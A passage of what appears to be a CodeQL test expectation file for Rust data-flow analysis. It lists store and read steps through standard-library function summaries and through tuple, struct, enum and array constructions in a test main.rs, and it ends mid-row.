ReturnValue.Reference in lang:core::_::::index | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert_default | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert_default | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert_with | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert_with | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::insert | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::insert | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::trim | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::trim | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::borrow | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::deref_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::error | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::error | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_file_desc | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_file_desc | -| main.rs:97:14:97:22 | source(...) | tuple.0 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:97:25:97:25 | 2 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:103:14:103:14 | 2 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:17:103:26 | source(...) | tuple.1 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:29:103:29 | 2 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:111:18:111:18 | 2 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:111:21:111:30 | source(...) | tuple.1 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:114:11:114:20 | source(...) | tuple.0 | main.rs:114:5:114:5 | [post] a | -| main.rs:115:11:115:11 | 2 | tuple.1 | main.rs:115:5:115:5 | [post] a | -| main.rs:121:14:121:14 | 3 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:121:17:121:26 | source(...) | tuple.1 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:122:14:122:14 | a | tuple.0 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:122:17:122:17 | 3 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:137:24:137:32 | source(...) | Point.x | main.rs:137:13:137:40 | Point {...} | -| main.rs:137:38:137:38 | 2 | Point.y | main.rs:137:13:137:40 | Point {...} | -| main.rs:143:28:143:36 | source(...) | Point.x | main.rs:143:17:143:44 | Point {...} | -| main.rs:143:42:143:42 | 2 | Point.y | main.rs:143:17:143:44 | Point {...} | -| main.rs:145:11:145:20 | source(...) | Point.y | main.rs:145:5:145:5 | [post] p | -| main.rs:151:12:151:21 | source(...) | Point.x | main.rs:150:13:153:5 | Point {...} | -| main.rs:152:12:152:12 | 2 | Point.y | main.rs:150:13:153:5 | Point {...} | -| main.rs:166:16:169:9 | Point {...} | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:167:16:167:16 | 2 | Point.x | main.rs:166:16:169:9 | Point {...} | -| main.rs:168:16:168:25 | source(...) | Point.y | main.rs:166:16:169:9 | Point {...} | -| main.rs:170:12:170:12 | 4 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:180:16:180:32 | Point {...} | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:180:27:180:27 | 2 | Point.x | main.rs:180:16:180:32 | Point {...} | -| main.rs:180:30:180:30 | y | Point.y | main.rs:180:16:180:32 | Point {...} | -| main.rs:181:12:181:12 | 4 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:198:27:198:36 | source(...) | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:198:39:198:39 | 2 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:214:27:214:36 | source(...) | Some | main.rs:214:14:214:37 | ...::Some(...) | -| main.rs:215:27:215:27 | 2 | Some | main.rs:215:14:215:28 | ...::Some(...) | -| main.rs:227:19:227:28 | source(...) | Some | main.rs:227:14:227:29 | Some(...) | -| main.rs:228:19:228:19 | 2 | Some | main.rs:228:14:228:20 | Some(...) | -| main.rs:240:19:240:28 | source(...) | Some | main.rs:240:14:240:29 | Some(...) | -| main.rs:245:19:245:28 | source(...) | Some | main.rs:245:14:245:29 | Some(...) | -| main.rs:248:19:248:19 | 0 | Some | main.rs:248:14:248:20 | Some(...) | -| main.rs:253:19:253:28 | source(...) | Some | main.rs:253:14:253:29 | Some(...) | -| main.rs:261:19:261:28 | source(...) | Some | main.rs:261:14:261:29 | Some(...) | -| main.rs:262:19:262:19 | 2 | Some | main.rs:262:14:262:20 | Some(...) | -| main.rs:266:10:266:10 | 0 | Some | main.rs:266:5:266:11 | Some(...) | -| main.rs:270:36:270:45 | source(...) | Ok | main.rs:270:33:270:46 | Ok(...) | -| main.rs:276:37:276:46 | source(...) | Err | main.rs:276:33:276:47 | Err(...) | -| main.rs:284:35:284:44 | source(...) | Ok | main.rs:284:32:284:45 | Ok(...) | -| main.rs:285:35:285:35 | 2 | Ok | main.rs:285:32:285:36 | Ok(...) | -| main.rs:286:36:286:45 | source(...) | Err | main.rs:286:32:286:46 | Err(...) | -| main.rs:293:8:293:8 | 0 | Ok | main.rs:293:5:293:9 | Ok(...) | -| main.rs:297:35:297:44 | source(...) | Ok | main.rs:297:32:297:45 | Ok(...) | -| main.rs:301:36:301:45 | source(...) | Err | main.rs:301:32:301:46 | Err(...) | -| main.rs:312:29:312:38 | source(...) | A | main.rs:312:14:312:39 | ...::A(...) | -| main.rs:313:29:313:29 | 2 | B | main.rs:313:14:313:30 | ...::B(...) | -| main.rs:330:16:330:25 | source(...) | A | main.rs:330:14:330:26 | A(...) | -| main.rs:331:16:331:16 | 2 | B | main.rs:331:14:331:17 | B(...) | -| main.rs:352:18:352:27 | source(...) | C | main.rs:351:14:353:5 | ...::C {...} | -| main.rs:354:41:354:41 | 2 | D | main.rs:354:14:354:43 | ...::D {...} | -| main.rs:372:18:372:27 | source(...) | C | main.rs:371:14:373:5 | C {...} | -| main.rs:374:27:374:27 | 2 | D | main.rs:374:14:374:29 | D {...} | -| main.rs:392:17:392:17 | 1 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:20:392:20 | 2 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:23:392:32 | source(...) | element | main.rs:392:16:392:33 | [...] | -| main.rs:396:17:396:26 | source(...) | element | main.rs:396:16:396:31 | [...; 10] | -| main.rs:400:17:400:17 | 1 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:20:400:20 | 2 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:23:400:23 | 3 | element | main.rs:400:16:400:24 | [...] | -| main.rs:406:17:406:17 | 1 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:20:406:20 | 2 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:23:406:32 | source(...) | element | main.rs:406:16:406:33 | [...] | -| main.rs:411:17:411:17 | 1 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:20:411:20 | 2 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:23:411:23 | 3 | element | main.rs:411:16:411:24 | [...] | -| main.rs:418:17:418:17 | 1 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:20:418:20 | 2 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:23:418:32 | source(...) | element | main.rs:418:16:418:33 | [...] | -| main.rs:429:24:429:24 | 1 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:27:429:27 | 2 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:30:429:30 | 3 | element | main.rs:429:23:429:31 | [...] | -| main.rs:432:18:432:27 | source(...) | element | main.rs:432:5:432:11 | [post] mut_arr | -| main.rs:444:41:444:67 | default_name | captured default_name | main.rs:444:41:444:67 | \|...\| ... | -| main.rs:479:15:479:24 | source(...) | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:27:479:27 | 2 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:30:479:30 | 3 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:33:479:33 | 4 | element | main.rs:479:14:479:34 | [...] | -| main.rs:504:23:504:32 | source(...) | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:35:504:35 | 2 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:38:504:38 | 3 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:41:504:41 | 4 | element | main.rs:504:22:504:42 | [...] | -| main.rs:519:18:519:18 | c | &ref | main.rs:519:17:519:18 | &c | -| main.rs:522:15:522:15 | b | &ref | main.rs:522:14:522:15 | &b | -| main.rs:545:27:545:27 | 0 | Some | main.rs:545:22:545:28 | Some(...) | readStep -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::clone_from | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::allocator | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[0].Field[1] in lang:alloc::_::::allocator | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::as_mut_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_mut_ptr | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::as_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_ptr | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::into_inner | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::into_inner | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::visit_nodes_in_order | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:alloc::_::::visit_nodes_in_order | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::fold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_rfold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_rfold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_rfold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_rfold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_rfold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::try_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::try_fold | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:alloc::_::::try_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:alloc::_::::from | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::crate::collections::btree::mem::replace | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::crate::collections::btree::mem::replace | -| file://:0:0:0:0 | [summary param] 0 in lang:alloc::_::crate::collections::btree::mem::take_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::crate::collections::btree::mem::take_mut | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::<_ as crate::array::SpecArrayClone>::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::<_ as crate::array::SpecArrayClone>::clone | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::then | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::then | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::update | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::update | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::filter_map | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::map | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::filter_map | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::map | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::then_with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::then_with | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::with_copy | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::with_copy | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::fold | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:core::_::::fold | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::spec_fold | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:core::_::::spec_fold | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::from | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::and_then | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::and_then | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_none_or | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_none_or | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_some_and | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_some_and | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map_or_else | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::ok_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::ok_or_else | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::or_else | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::unwrap_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::unwrap_or_else | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::zip | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_err_and | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_err_and | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::is_ok_and | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::is_ok_and | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_err | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map_err | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::map_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::map_or_else | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::or_else | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::unwrap_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::::unwrap_or_else | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::call | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in lang:core::_::::call | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::clone_from | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::clone_from | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::index | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::index | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::::index_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::::index_mut | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::mem::copy | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::mem::copy | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::mem::replace | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::mem::replace | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::mem::take | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::mem::take | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::panic::abort_unwind | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:core::_::crate::panic::abort_unwind | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::ptr::read | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::ptr::read | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::ptr::read_unaligned | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::ptr::read_unaligned | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::ptr::read_volatile | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::ptr::read_volatile | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::ptr::replace | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::ptr::replace | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::slice::sort::shared::smallsort::sort4_stable | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:core::_::crate::slice::sort::shared::smallsort::sort4_stable | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::slice::sort::stable::drift::sort | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:core::_::crate::slice::sort::stable::drift::sort | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::slice::sort::stable::quicksort::quicksort | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:core::_::crate::slice::sort::stable::quicksort::quicksort | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::slice::sort::stable::sort | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:core::_::crate::slice::sort::stable::sort | -| file://:0:0:0:0 | [summary param] 0 in lang:core::_::crate::str::validations::next_code_point | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:core::_::crate::str::validations::next_code_point | -| file://:0:0:0:0 | [summary param] 0 in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | -| file://:0:0:0:0 | [summary param] 0 in lang:proc_macro::_::::decode | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary param] 0 in lang:proc_macro::_::::decode | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary param] 0 in lang:proc_macro::_::::decode | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in lang:proc_macro::_::::decode | -| file://:0:0:0:0 | [summary param] 0 in lang:proc_macro::_::crate::bridge::client::state::with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:proc_macro::_::crate::bridge::client::state::with | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::advance_slices | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::advance_slices | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::from | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[0].Field[1] in lang:std::_::::from | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::wait_timeout_while | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::wait_timeout_while | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::wait_while | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:std::_::::wait_while | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::bind | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:std::_::::bind | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::bind | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:std::_::::bind | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::connect | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:std::_::::connect | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::connect | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:std::_::::connect | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::bind | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:std::_::::bind | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::bind | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:std::_::::bind | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::connect | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in lang:std::_::::connect | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::connect | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in lang:std::_::::connect | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::try_with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::::try_with | -| file://:0:0:0:0 | [summary param] 0 in lang:std::_::::with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::::with | -| file://:0:0:0:0 | [summary param] 0 in 